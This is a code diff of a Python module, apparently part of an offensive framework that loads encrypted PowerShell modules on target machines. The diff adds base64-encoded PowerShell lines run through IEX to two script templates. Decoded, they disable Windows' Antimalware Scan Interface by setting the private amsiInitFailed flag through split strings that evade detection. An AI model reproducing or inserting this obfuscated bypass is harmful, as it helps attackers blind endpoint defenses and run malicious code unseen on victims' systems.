■ ■ ■ ■ ■ ■
modules/invoke_ps_module.py
| skipped 37 lines |
38 | 38 | | """ |
39 | 39 | | |
40 | 40 | | _ps_code = r""" |
| 41 | + | [Text.Encoding]::ASCII.GetString([Convert]::FromBase64String("JFJlZj1bUmVmXS5Bc3NlbWJseS5HZXRUeXBlKCdTeXN0ZW0uTWFuYWdlbWVudC5BdXRvbWF0aW9uLkFtcycrJ2lVdGlscycpOw=="))|IEX; |
| 42 | + | [Text.Encoding]::ASCII.GetString([Convert]::FromBase64String("JFJlZi5HZXRGaWVsZCgnYW1zaUluJysnaXRGYWlsZWQnLCdOb25QdWJsaWMsU3RhdGljJykuU2V0VmFsdWUoJG51bGwsJHRydWUpOw=="))|IEX; |
41 | 43 | | $path_in_module="%s"; |
42 | 44 | | $path_in_app_code="%s"; |
43 | 45 | | $key=[System.Text.Encoding]::UTF8.GetBytes('%s'); |
| skipped 14 lines |
58 | 60 | | """ |
59 | 61 | | |
60 | 62 | | _ps_code_no_appended_code = r""" |
| 63 | + | [Text.Encoding]::ASCII.GetString([Convert]::FromBase64String("JFJlZj1bUmVmXS5Bc3NlbWJseS5HZXRUeXBlKCdTeXN0ZW0uTWFuYWdlbWVudC5BdXRvbWF0aW9uLkFtcycrJ2lVdGlscycpOw==")) | IEX; |
| 64 | + | [Text.Encoding]::ASCII.GetString([Convert]::FromBase64String("JFJlZi5HZXRGaWVsZCgnYW1zaUluJysnaXRGYWlsZWQnLCdOb25QdWJsaWMsU3RhdGljJykuU2V0VmFsdWUoJG51bGwsJHRydWUpOw==")) | IEX; |
61 | 65 | | $path_in="%s"; |
62 | 66 | | $key=[System.Text.Encoding]::UTF8.GetBytes('%s'); |
63 | 67 | | $encrypted=[System.IO.File]::ReadAllBytes($path_in); |
| skipped 104 lines |